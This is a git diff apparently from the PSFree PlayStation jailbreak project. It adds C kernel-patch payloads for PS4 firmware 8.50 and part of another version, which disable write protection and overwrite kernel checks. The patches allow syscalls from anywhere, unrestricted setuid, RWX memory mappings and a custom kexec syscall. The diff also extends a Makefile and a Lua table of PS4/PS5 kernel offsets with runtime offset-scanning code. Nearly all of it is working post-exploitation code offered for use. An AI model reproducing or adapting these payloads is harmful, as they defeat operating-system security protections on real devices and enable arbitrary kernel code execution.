pagecopy + write8(kbase, 0x25e3bd, 0xeb); // copyin + write8(kbase, 0x25e86d, 0xeb); // copyinstr + write8(kbase, 0x25e93d, 0xeb); // copystr + + // stop sysVeri from causing a delayed panic on suspend + write16(kbase, 0x62db3f, 0x00eb); + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x490, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write8(kbase, 0x4c2, 0xeb); + write16(kbase, 0x4b9, 0x00eb); + write16(kbase, 0x4b5, 0x00eb); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x34d696, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write16(kbase, 0x3ec68b, 0x04eb); + + // TODO: Description of this patch. patch sys_dynlib_load_prx() + write16(kbase, 0x318d84, 0xe990); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write8(kbase, 0x31953f, 0xeb); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x951c0, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0xfd03a, 0x37); + write8(kbase, 0xfd03d, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + const u64 sysent_11_off = 0x10fc6e0; + // .sy_narg = 2 + write32(kbase, sysent_11_off, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, sysent_11_off + 8, kbase + 0xe629c); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, sysent_11_off + 0x2c, 1); + + enable_cr0_wp(); +} diff --git a/payloads/sources/ps4-kpatches-src/850.c b/payloads/sources/ps4-kpatches-src/850.c new file mode 100644 index 0000000..ba192b9 --- /dev/null +++ b/payloads/sources/ps4-kpatches-src/850.c @@ -0,0 +1,165 @@ +/* Copyright (C) 2024-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// 8.50, 8.52 + +#include "types.h" +#include "utils.h" + +static inline void do_patch(void *kbase); + +__attribute__((section (".text.start"))) +int kpatch(void *td) { + const u64 xfast_syscall_off = 0x1c0; + void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off; + + do_patch(kbase); + + return 0; +} + +__attribute__((always_inline)) +static inline void do_patch(void *kbase) { + disable_cr0_wp(); + + // ChendoChap's patches from pOOBs4 + write16(kbase, 0x624674, 0x00eb); // veriPatch + write8(kbase, 0xacd, 0xeb); // bcopy + write8(kbase, 0x3a403d, 0xeb); // bzero + write8(kbase, 0x3a4081, 0xeb); // pagezero + write8(kbase, 0x3a40fd, 0xeb); // memcpy + write8(kbase, 0x3a4141, 0xeb); // pagecopy + write8(kbase, 0x3a42ed, 0xeb); // copyin + write8(kbase, 0x3a479d, 0xeb); // copyinstr + write8(kbase, 0x3a486d, 0xeb); // copystr + + // stop sysVeri from causing a delayed panic on suspend + write16(kbase, 0x624f5f, 0x00eb); + + // patch amd64_syscall() to allow calling syscalls everywhere + // struct syscall_args sa; // initialized already + // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); + // int is_invalid_syscall = 0 + // + // // check the calling code if it looks like one of the syscall stubs at a + // // libkernel library and check if the syscall number correponds to the + // // proper stub + // if ((code & 0xff0000000000ffff) != 0x890000000000c0c7 + // || sa.code != (u32)(code >> 0x10) + // ) { + // // patch this to " = 0" instead + // is_invalid_syscall = -1; + // } + write32(kbase, 0x490, 0); + // these code corresponds to the check that ensures that the caller's + // instruction pointer is inside the libkernel library's memory range + // + // // patch the check to always go to the "goto do_syscall;" line + // void *code = td->td_frame->tf_rip; + // if (libkernel->start <= code && code < libkernel->end + // && is_invalid_syscall == 0 + // ) { + // goto do_syscall; + // } + // + // do_syscall: + // ... + // lea rsi, [rbp - 0x78] + // mov rdi, rbx + // mov rax, qword [rbp - 0x80] + // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) + // + // sy_call() is the function that will execute the requested syscall. + write8(kbase, 0x4c2, 0xeb); + write16(kbase, 0x4b9, 0x00eb); + write16(kbase, 0x4b5, 0x00eb); + + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x22f3d6, 0xeb); + + // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings + // + // this check is skipped after the patch + // + // if ((new_prot & current->max_protection) != new_prot) { + // vm_map_unlock(map); + // return (KERN_PROTECTION_FAILURE); + // } + write16(kbase, 0x14d6db, 0x04eb); + + // TODO: Description of this patch. patch sys_dynlib_load_prx() + write16(kbase, 0x17474, 0xe990); + + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // call ... + // mov r14, qword [rbp - 0xad0] + // cmp eax, 0x4000000 + // jb ... ; patch jb to jmp + write8(kbase, 0x17c2f, 0xeb); + // patch called function to always return 0 + // + // sys_dynlib_dlsym: + // ... + // mov edi, 0x10 ; 16 + // call patched_function ; kernel_base + 0x951c0 + // test eax, eax + // je ... + // mov rax, qword [rbp - 0xad8] + // ... + // patched_function: ; patch to "xor eax, eax; ret" + // push rbp + // mov rbp, rsp + // ... + write32(kbase, 0x3ad040, 0xc3c03148); + + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x826ea, 0x37); + write8(kbase, 0x826ed, 0x37); + + // overwrite the entry of syscall 11 (unimplemented) in sysent + // + // struct args { + // u64 rdi; + // u64 rsi; + // u64 rdx; + // u64 rcx; + // u64 r8; + // u64 r9; + // }; + // + // int sys_kexec(struct thread td, struct args *uap) { + // asm("jmp qword ptr [rsi]"); + // } + const u64 sysent_11_off = 0x10fc7d0; + // .sy_narg = 2 + write32(kbase, sysent_11_off, 2); + // .sy_call = gadgets['jmp qword ptr [rsi]'] + write64(kbase, sysent_11_off + 8, kbase + 0xc810d); + // .sy_thrcnt = SY_THR_STATIC + write32(kbase, sysent_11_off + 0x2c, 1); + + enable_cr0_wp(); +} diff --git a/payloads/sources/ps4-kpatches-src/Makefile b/payloads/sources/ps4-kpatches-src/Makefile index 8060319..e7f465a 100644 --- a/payloads/sources/ps4-kpatches-src/Makefile +++ b/payloads/sources/ps4-kpatches-src/Makefile @@ -1,21 +1,21 @@ -TARGET_VERSIONS = 900 903 950 1000 1050 1100 1102 1150 1200 - -CC = gcc -OBJCOPY = objcopy -CFLAGS = -O3 -std=gnu11 -Wno-int-conversion -masm=intel -nostartfiles -fcf-protection=none -Tscript.ld - -.PHONY: all -ALL_SOURCES = $(TARGET_VERSIONS:%=%.c) -ALL_OBJECTS = $(TARGET_VERSIONS:%=%.o) -ALL_BINS = $(TARGET_VERSIONS:%=%.bin) - -all: $(ALL_BINS) - -%.bin: %.o - $(CC) $< -o $*.elf $(CFLAGS) - $(OBJCOPY) -O binary --only-section=.text $*.elf $@ - -rm -f $*.elf - -.PHONY: clean -clean: - -rm -f $(ALL_OBJECTS) $(ALL_BINS) +TARGET_VERSIONS = 500 503 550 553 555 556 600 620 650 670 700 750 800 850 900 903 950 1000 1050 1100 1102 1150 1200 + +CC = gcc +OBJCOPY = objcopy +CFLAGS = -O3 -std=gnu11 -Wno-int-conversion -masm=intel -nostartfiles -fcf-protection=none -Tscript.ld + +.PHONY: all +ALL_SOURCES = $(TARGET_VERSIONS:%=%.c) +ALL_OBJECTS = $(TARGET_VERSIONS:%=%.o) +ALL_BINS = $(TARGET_VERSIONS:%=%.bin) + +all: $(ALL_BINS) + +%.bin: %.o + $(CC) $< -o $*.elf $(CFLAGS) + $(OBJCOPY) -O binary --only-section=.text $*.elf $@ + -rm -f $*.elf + +.PHONY: clean +clean: + -rm -f $(ALL_OBJECTS) $(ALL_BINS) diff --git a/savedata/kernel_offset.lua b/savedata/kernel_offset.lua index 5d1633b..4064856 100644 --- a/savedata/kernel_offset.lua +++ b/savedata/kernel_offset.lua @@ -1,530 +1,628 @@ - --- kernel offsets --- credit to @hammer-83 for these offsets --- https://github.com/hammer-83/ps5-jar-loader/blob/main/sdk/src/main/java/org/ps5jb/sdk/core/kernel/KernelOffsets.java - -ps5_kernel_offset_list = { - - [{ "1.00", "1.01", "1.02" }] = { - - DATA_BASE = 0x01B40000, - DATA_SIZE = 0x08631930, - - DATA_BASE_DYNAMIC = 0x00000000, - DATA_BASE_TO_DYNAMIC = 0x0658BB58, - DATA_BASE_ALLPROC = 0x026D1BF8, - DATA_BASE_SECURITY_FLAGS = 0x06241074, - DATA_BASE_ROOTVNODE = 0x06565540, - DATA_BASE_KERNEL_PMAP_STORE = 0x02F9F2B8, - DATA_BASE_DATA_CAVE = 0x05F20000, - DATA_BASE_GVMSPACE = 0x06202E70, - - PMAP_STORE_PML4PML4I = -0x1C, - PMAP_STORE_DMPML4I = 0x288, - PMAP_STORE_DMPDPI = 0x28C, - }, - - [{ "1.05", "1.10", "1.11", "1.12", "1.13", "1.14" }] = { - - DATA_BASE = 0x01B40000, - DATA_SIZE = 0x08631930, - - DATA_BASE_DYNAMIC = 0x00000000, - DATA_BASE_TO_DYNAMIC = 0x0658BB58, - DATA_BASE_ALLPROC = 0x026D1C18, - DATA_BASE_SECURITY_FLAGS = 0x06241074, - DATA_BASE_ROOTVNODE = 0x06565540, - DATA_BASE_KERNEL_PMAP_STORE = 0x02F9F328, - DATA_BASE_DATA_CAVE = 0x05F20000, - DATA_BASE_GVMSPACE = 0x06202E70, - - PMAP_STORE_PML4PML4I = -0x1C, - PMAP_STORE_DMPML4I = 0x288, - PMAP_STORE_DMPDPI = 0x28C, - }, - - [{ "2.00", "2.20", "2.25", "2.26", "2.30", "2.50", "2.70" }] = { - - DATA_BASE = 0x01B80000, - DATA_SIZE = 0x087E1930, - - DATA_BASE_DYNAMIC = 0x00000000, - DATA_BASE_TO_DYNAMIC = 0x06739B88, - DATA_BASE_ALLPROC = 0x02701C28, - DATA_BASE_SECURITY_FLAGS = 0x063E1274, - DATA_BASE_ROOTVNODE = 0x067134C0, - DATA_BASE_KERNEL_PMAP_STORE = 0x031338C8, - DATA_BASE_DATA_CAVE = 0x060C0000, -- Use same as Specter's Byepervisor repo for interop - DATA_BASE_GVMSPACE = 0x063A2EB0, - - PMAP_STORE_PML4PML4I = -0x1C, - PMAP_STORE_DMPML4I = 0x288, - PMAP_STORE_DMPDPI = 0x28C, - }, - - [{ "3.00", "3.20", "3.21" }] = { - - DATA_BASE = 0x0BD0000, - DATA_SIZE = 0x08871930, - - DATA_BASE_DYNAMIC = 0x00010000, - DATA_BASE_TO_DYNAMIC = 0x067D1B90, - DATA_BASE_ALLPROC = 0x0276DC58, - DATA_BASE_SECURITY_FLAGS = 0x06466474, - DATA_BASE_ROOTVNODE = 0x067AB4C0, - DATA_BASE_KERNEL_PMAP_STORE = 0x031BE218, - DATA_BASE_DATA_CAVE = 0x06140000, -- Unconfirmed - DATA_BASE_GVMSPACE = 0x06423F80, - - PMAP_STORE_PML4PML4I = -0x1C, - PMAP_STORE_DMPML4I = 0x288, - PMAP_STORE_DMPDPI = 0x28C, - }, - - [{ "4.00", "4.02", "4.03", "4.50", "4.51" }] = { - - DATA_BASE = 0x0C00000, - DATA_SIZE = 0x087B1930, - - DATA_BASE_DYNAMIC = 0x00010000, - DATA_BASE_TO_DYNAMIC = 0x0670DB90, - DATA_BASE_ALLPROC = 0x027EDCB8, - DATA_BASE_SECURITY_FLAGS = 0x06506474, - DATA_BASE_ROOTVNODE = 0x066E74C0, - DATA_BASE_KERNEL_PMAP_STORE = 0x03257A78, - DATA_BASE_DATA_CAVE = 0x06C01000, -- Unconfirmed - DATA_BASE_GVMSPACE = 0x064C3F80, - - PMAP_STORE_PML4PML4I = -0x1C, - PMAP_STORE_DMPML4I = 0x288, - PMAP_STORE_DMPDPI = 0x28C, - }, - - [{ "5.00", "5.02" , "5.10"}] = { - - DATA_BASE = 0x0C40000, - DATA_SIZE = 0x08921930, - - DATA_BASE_DYNAMIC = 0x00010000, - DATA_BASE_TO_DYNAMIC = 0x06879C00, - DATA_BASE_ALLPROC = 0x0291DD00, - DATA_BASE_SECURITY_FLAGS = 0x066466EC, - DATA_BASE_ROOTVNODE = 0x06853510, - DATA_BASE_KERNEL_PMAP_STORE = 0x03398A88, - DATA_BASE_DATA_CAVE = 0x06320000, -- Unconfirmed - DATA_BASE_GVMSPACE = 0x06603FB0, - - PMAP_STORE_PML4PML4I = -0x105C, - PMAP_STORE_DMPML4I = 0x29C, - PMAP_STORE_DMPDPI = 0x2A0, - }, - - [{ "5.50" }] = { - - DATA_BASE = 0x0C40000, - DATA_SIZE = 0x08921930, - - DATA_BASE_DYNAMIC = 0x00010000, - DATA_BASE_TO_DYNAMIC = 0x06879C00, - DATA_BASE_ALLPROC = 0x0291DD00, - DATA_BASE_SECURITY_FLAGS = 0x066466EC, - DATA_BASE_ROOTVNODE = 0x06853510, - DATA_BASE_KERNEL_PMAP_STORE = 0x03394A88, - DATA_BASE_DATA_CAVE = 0x06320000, -- Unconfirmed - DATA_BASE_GVMSPACE = 0x06603FB0, - - PMAP_STORE_PML4PML4I = -0x105C, - PMAP_STORE_DMPML4I = 0x29C, - PMAP_STORE_DMPDPI = 0x2A0, - }, - - [{ "6.00", "6.02", "6.50" }] = { - - DATA_BASE = 0x0C60000, -- Unconfirmed - DATA_SIZE = 0x08861930, - - DATA_BASE_DYNAMIC = 0x00010000, - DATA_BASE_TO_DYNAMIC = 0x067C5C10, - DATA_BASE_ALLPROC = 0x02869D20, - DATA_BASE_SECURITY_FLAGS = 0x065968EC, - DATA_BASE_ROOTVNODE = 0x0679F510, - DATA_BASE_KERNEL_PMAP_STORE = 0x032E4358, - DATA_BASE_DATA_CAVE = 0x06270000, -- Unconfirmed - DATA_BASE_GVMSPACE = 0x065540F0, - - PMAP_STORE_PML4PML4I = -0x105C, - PMAP_STORE_DMPML4I = 0x29C, - PMAP_STORE_DMPDPI = 0x2A0, - }, - - [{ "7.00", "7.01", "7.20", "7.40", "7.60", "7.61" }] = { - - DATA_BASE = 0x0C50000, - DATA_SIZE = 0x05191930, - - DATA_BASE_DYNAMIC = 0x00010000, - DATA_BASE_TO_DYNAMIC = 0x030EDC40, - DATA_BASE_ALLPROC = 0x02859D50, - DATA_BASE_SECURITY_FLAGS = 0x00AC8064, - DATA_BASE_ROOTVNODE = 0x030C7510, - DATA_BASE_KERNEL_PMAP_STORE = 0x02E2C848, - DATA_BASE_DATA_CAVE = 0x050A1000, -- Unconfirmed - DATA_BASE_GVMSPACE = 0x02E76090, - - PMAP_STORE_PML4PML4I = -0x10AC, - PMAP_STORE_DMPML4I = 0x29C, - PMAP_STORE_DMPDPI = 0x2A0, - }, - - [{ "8.00", "8.20", "8.40", "8.60" }] = { - - DATA_BASE = 0xC70000, - DATA_SIZE = nil, - - DATA_BASE_DYNAMIC = 0x10000, - DATA_BASE_TO_DYNAMIC = nil, - DATA_BASE_ALLPROC = 0x2875D50, - DATA_BASE_SECURITY_FLAGS = 0xAC3064, - DATA_BASE_ROOTVNODE = 0x30FB510, - DATA_BASE_KERNEL_PMAP_STORE = 0x2E48848, - DATA_BASE_DATA_CAVE = nil, - DATA_BASE_GVMSPACE = 0x2EAA090, - - PMAP_STORE_PML4PML4I = nil, - PMAP_STORE_DMPML4I = nil, - PMAP_STORE_DMPDPI = nil, - }, - - [{ "9.00" }] = { - - DATA_BASE = 0xCA0000, - DATA_SIZE = nil, - - DATA_BASE_DYNAMIC = 0x10000, - DATA_BASE_TO_DYNAMIC = nil, - DATA_BASE_ALLPROC = 0x2755D50, - DATA_BASE_SECURITY_FLAGS = 0xD72064, - DATA_BASE_ROOTVNODE = 0x2FDB510, - DATA_BASE_KERNEL_PMAP_STORE = 0x2D28B78, - DATA_BASE_DATA_CAVE = nil, - DATA_BASE_GVMSPACE = 0x2D8A570, - - PMAP_STORE_PML4PML4I = nil, - PMAP_STORE_DMPML4I = nil, - PMAP_STORE_DMPDPI = nil, - - }, - - [{ "9.05", "9.20", "9.40", "9.60" }] = { - - DATA_BASE = 0xCA0000, - DATA_SIZE = nil, - - DATA_BASE_DYNAMIC = 0x10000, - DATA_BASE_TO_DYNAMIC = nil, - DATA_BASE_ALLPROC = 0x2755D50, - DATA_BASE_SECURITY_FLAGS = 0xD73064, - DATA_BASE_ROOTVNODE = 0x2FDB510, - DATA_BASE_KERNEL_PMAP_STORE = 0x2D28B78, - DATA_BASE_DATA_CAVE = nil, - DATA_BASE_GVMSPACE = 0x2D8A570, - - PMAP_STORE_PML4PML4I = nil, - PMAP_STORE_DMPML4I = nil, - PMAP_STORE_DMPDPI = nil, - - }, - - [{ "10.00", "10.01" }] = { - - DATA_BASE = 0xCC0000, - DATA_SIZE = nil, - - DATA_BASE_DYNAMIC = 0x10000, - DATA_BASE_TO_DYNAMIC = nil, - DATA_BASE_ALLPROC = 0x2765D70, - DATA_BASE_SECURITY_FLAGS = 0xD79064, - DATA_BASE_ROOTVNODE = 0x2FA3510, - DATA_BASE_KERNEL_PMAP_STORE = 0x2CF0EF8, - DATA_BASE_DATA_CAVE = nil, - DATA_BASE_GVMSPACE = 0x2D52570, - - PMAP_STORE_PML4PML4I = nil, - PMAP_STORE_DMPML4I = nil, - PMAP_STORE_DMPDPI = nil, - }, -} - -ps4_kernel_offset_list = { - [{ "9.00" }] = { - EVF_OFFSET = 0x7f6f27, - PRISON0 = 0x111f870, - ROOTVNODE = 0x21eff20, - TARGET_ID_OFFSET = 0x221688d, - SYSENT_661_OFFSET = 0x1107f00, - JMP_RSI_GADGET = 0x4c7ad - }, - [{ "9.03", "9.04" }] = { - EVF_OFFSET = 0x7f4ce7, - PRISON0 = 0x111b840, - ROOTVNODE = 0x21ebf20, - TARGET_ID_OFFSET = 0x221288d, - SYSENT_661_OFFSET = 0x1103f00, - JMP_RSI_GADGET = 0x5325b - }, - [{ "9.50", "9.51", "9.60" }] = { - EVF_OFFSET = 0x769a88, - PRISON0 = 0x11137d0, - ROOTVNODE = 0x21a6c30, - TARGET_ID_OFFSET = 0x221a40d, - SYSENT_661_OFFSET = 0x1100ee0, - JMP_RSI_GADGET = 0x15a6d - }, - [{ "10.00", "10.01" }] = { - EVF_OFFSET = 0x7b5133, - PRISON0 = 0x111b8b0, - ROOTVNODE = 0x1b25bd0, - TARGET_ID_OFFSET = 0x1b9e08d, - SYSENT_661_OFFSET = 0x110a980, - JMP_RSI_GADGET = 0x68b1 - }, - [{ "10.50", "10.70", "10.71" }] = { - EVF_OFFSET = 0x7a7b14, - PRISON0 = 0x111b910, - ROOTVNODE = 0x1bf81f0, - TARGET_ID_OFFSET = 0x1be460d, - SYSENT_661_OFFSET = 0x110a5b0, - JMP_RSI_GADGET = 0x50ded - }, - [{ "11.00" }] = { -- credit: @egycnq - EVF_OFFSET = 0x7fc26f, - PRISON0 = 0x111f830, - ROOTVNODE = 0x2116640, - TARGET_ID_OFFSET = 0x221c60d, - SYSENT_661_OFFSET = 0x1109350, - JMP_RSI_GADGET = 0x71a21 - }, - [{ "11.02" }] = { - EVF_OFFSET = 0x7fc22f, - PRISON0 = 0x111f830, - ROOTVNODE = 0x2116640, - TARGET_ID_OFFSET = 0x221c60d, - SYSENT_661_OFFSET = 0x1109350, - JMP_RSI_GADGET = 0x71a21 - }, - [{ "11.50", "11.52" }] = { - EVF_OFFSET = 0x784318, - PRISON0 = 0x111fa18, - ROOTVNODE = 0x2136e90, - TARGET_ID_OFFSET = 0x21cc60d, - SYSENT_661_OFFSET = 0x110a760, - JMP_RSI_GADGET = 0x704d5 - }, - [{ "12.00", "12.02" }] = { -- credit: @egycnq - EVF_OFFSET = 0x784798, - PRISON0 = 0x111fa18, - ROOTVNODE = 0x2136e90, - TARGET_ID_OFFSET = 0x21cc60d, - SYSENT_661_OFFSET = 0x110a760, - JMP_RSI_GADGET = 0x47b31 - } -} - -function get_ps5_kernel_offset() - - local kernel_offset = {} - - for fw_list, offsets in pairs(ps5_kernel_offset_list) do - for i, check_fw in ipairs(fw_list) do - if check_fw == FW_VERSION then - kernel_offset = offsets - kernel_offset.DATA_BASE_TARGET_ID = kernel_offset.DATA_BASE_SECURITY_FLAGS + 0x09 - kernel_offset.DATA_BASE_QA_FLAGS = kernel_offset.DATA_BASE_SECURITY_FLAGS + 0x24 - kernel_offset.DATA_BASE_UTOKEN_FLAGS = kernel_offset.DATA_BASE_SECURITY_FLAGS + 0x8C - break - end - end - end - - -- static structure offsets - -- note: the one marked with -1 will be resolved at runtime - - -- proc structure - kernel_offset.PROC_FD = 0x48 - kernel_offset.PROC_PID = 0xbc - kernel_offset.PROC_VM_SPACE = 0x200 - kernel_offset.PROC_COMM = -1 - kernel_offset.PROC_SYSENT = -1 - - -- filedesc - kernel_offset.FILEDESC_OFILES = 0x8 - kernel_offset.SIZEOF_OFILES = 0x30 - - -- vmspace structure - kernel_offset.VMSPACE_VM_PMAP = -1 - kernel_offset.VMSPACE_VM_VMID = -1 - - -- pmap structure - kernel_offset.PMAP_CR3 = 0x28 - - -- gpu vmspace structure - kernel_offset.SIZEOF_GVMSPACE = 0x100 - kernel_offset.GVMSPACE_START_VA = 0x8 - kernel_offset.GVMSPACE_SIZE = 0x10 - kernel_offset.GVMSPACE_PAGE_DIR_VA = 0x38 - - -- net - kernel_offset.SO_PCB = 0x18 - kernel_offset.INPCB_PKTOPTS = 0x120 - - return kernel_offset -end - -function get_ps4_kernel_offset() - - local kernel_offset = {} - - for fw_list, offsets in pairs(ps4_kernel_offset_list) do - for i, check_fw in ipairs(fw_list) do - if check_fw == FW_VERSION then - kernel_offset = offsets - break - end - end - end - - -- proc structure - kernel_offset.PROC_FD = 0x48 - kernel_offset.PROC_PID = 0xb0 - kernel_offset.PROC_VM_SPACE = 0x200 - kernel_offset.PROC_COMM = -1 - kernel_offset.PROC_SYSENT = -1 - - -- filedesc - kernel_offset.FILEDESC_OFILES = 0x0 - kernel_offset.SIZEOF_OFILES = 0x8 - - -- vmspace structure - kernel_offset.VMSPACE_VM_PMAP = -1 - kernel_offset.VMSPACE_VM_VMID = -1 - - -- pmap structure - kernel_offset.PMAP_CR3 = 0x28 - - -- net - kernel_offset.SO_PCB = 0x18 - kernel_offset.INPCB_PKTOPTS = 0x118 - - return kernel_offset -end - -function get_kernel_offset() - if PLATFORM == "ps4" then - return get_ps4_kernel_offset() - elseif PLATFORM == "ps5" then - return get_ps5_kernel_offset() - end -end - --- find some structure offsets at runtime -function update_kernel_offsets() - - local offsets = find_additional_offsets() - - for k,v in pairs(offsets) do - kernel_offset[k] = v - end -end - --- credit: @hammer-83 -function find_vmspace_pmap_offset() - - local vmspace = kernel.read_qword(kernel.addr.curproc + kernel_offset.PROC_VM_SPACE) - - -- Note, this is the offset of vm_space.vm_map.pmap on 1.xx. - -- It is assumed that on higher firmwares it's only increasing. - local cur_scan_offset = 0x1C8 - - for i=1,6 do - local scan_val = kernel.read_qword(vmspace + cur_scan_offset + (i * 8)) - local offset_diff = (scan_val - vmspace):tonumber() - if offset_diff >= 0x2C0 and offset_diff <= 0x2F0 then - return cur_scan_offset + (i * 8) - end - end - - error("failed to find VMSPACE_VM_PMAP offset") -end - - --- credit: @hammer-83 -function find_vmspace_vmid_offset() - - local vmspace = kernel.read_qword(kernel.addr.curproc + kernel_offset.PROC_VM_SPACE) - - -- Note, this is the offset of vm_space.vm_map.vmid on 1.xx. - -- It is assumed that on higher firmwares it's only increasing. - local cur_scan_offset = 0x1D4 - - for i=1,8 do - local scan_offset = cur_scan_offset + (i * 4) - local scan_val = kernel.read_dword(vmspace + scan_offset):tonumber() - if scan_val > 0 and scan_val <= 0x10 then - return scan_offset - end - end - - error("failed to find VMSPACE_VM_VMID offset") -end - -function find_proc_offsets() - - local proc_data = kernel.read_buffer(kernel.addr.curproc, 0x1000) - local proc_data_addr = lua.resolve_value(proc_data) - - local p_comm_sign = find_pattern(proc_data, "ce fa ef be cc bb") - local p_sysent_sign = find_pattern(proc_data, "ff ff ff ff ff ff ff 7f") - - if not p_comm_sign then - error("failed to find offset for PROC_COMM") - end - - if not p_sysent_sign then - error("failed to find offset for PROC_SYSENT") - end - - local p_comm_offset = p_comm_sign[1] - 1 + 0x8 - local p_sysent_offset = p_sysent_sign[1] - 1 - 0x10 - - return { - PROC_COMM = p_comm_offset, - PROC_SYSENT = p_sysent_offset - } -end - -function find_additional_offsets() - - local proc_offsets = find_proc_offsets() - - local vm_map_pmap_offset = nil - local vm_map_vmid_offset = nil - - -- not tested on ps4. ignore for now. - -- maybe can just hardcode if offset is not changes between fw on ps4 - if PLATFORM == "ps5" then - vm_map_pmap_offset = find_vmspace_pmap_offset() - vm_map_vmid_offset = find_vmspace_vmid_offset() - end - - return { - PROC_COMM = proc_offsets.PROC_COMM, - PROC_SYSENT = proc_offsets.PROC_SYSENT, - VMSPACE_VM_PMAP = vm_map_pmap_offset, - VMSPACE_VM_VMID = vm_map_vmid_offset, - } -end - --- compatibility layer so ppl using older umtx payload can still work -function initialize_kernel_offsets() - update_kernel_offsets() -end + +-- kernel offsets +-- credit to @hammer-83 for these offsets +-- https://github.com/hammer-83/ps5-jar-loader/blob/main/sdk/src/main/java/org/ps5jb/sdk/core/kernel/KernelOffsets.java + +ps5_kernel_offset_list = { + [{ "1.00", "1.01", "1.02" }] = { + DATA_BASE = 0x01B40000, + DATA_SIZE = 0x08631930, + + DATA_BASE_DYNAMIC = 0x00000000, + DATA_BASE_TO_DYNAMIC = 0x0658BB58, + DATA_BASE_ALLPROC = 0x026D1BF8, + DATA_BASE_SECURITY_FLAGS = 0x06241074, + DATA_BASE_ROOTVNODE = 0x06565540, + DATA_BASE_KERNEL_PMAP_STORE = 0x02F9F2B8, + DATA_BASE_DATA_CAVE = 0x05F20000, + DATA_BASE_GVMSPACE = 0x06202E70, + + PMAP_STORE_PML4PML4I = -0x1C, + PMAP_STORE_DMPML4I = 0x288, + PMAP_STORE_DMPDPI = 0x28C + }, + [{ "1.05", "1.10", "1.11", "1.12", "1.13", "1.14" }] = { + DATA_BASE = 0x01B40000, + DATA_SIZE = 0x08631930, + + DATA_BASE_DYNAMIC = 0x00000000, + DATA_BASE_TO_DYNAMIC = 0x0658BB58, + DATA_BASE_ALLPROC = 0x026D1C18, + DATA_BASE_SECURITY_FLAGS = 0x06241074, + DATA_BASE_ROOTVNODE = 0x06565540, + DATA_BASE_KERNEL_PMAP_STORE = 0x02F9F328, + DATA_BASE_DATA_CAVE = 0x05F20000, + DATA_BASE_GVMSPACE = 0x06202E70, + + PMAP_STORE_PML4PML4I = -0x1C, + PMAP_STORE_DMPML4I = 0x288, + PMAP_STORE_DMPDPI = 0x28C + }, + [{ "2.00", "2.20", "2.25", "2.26", "2.30", "2.50", "2.70" }] = { + DATA_BASE = 0x01B80000, + DATA_SIZE = 0x087E1930, + + DATA_BASE_DYNAMIC = 0x00000000, + DATA_BASE_TO_DYNAMIC = 0x06739B88, + DATA_BASE_ALLPROC = 0x02701C28, + DATA_BASE_SECURITY_FLAGS = 0x063E1274, + DATA_BASE_ROOTVNODE = 0x067134C0, + DATA_BASE_KERNEL_PMAP_STORE = 0x031338C8, + DATA_BASE_DATA_CAVE = 0x060C0000, -- Use same as Specter's Byepervisor repo for interop + 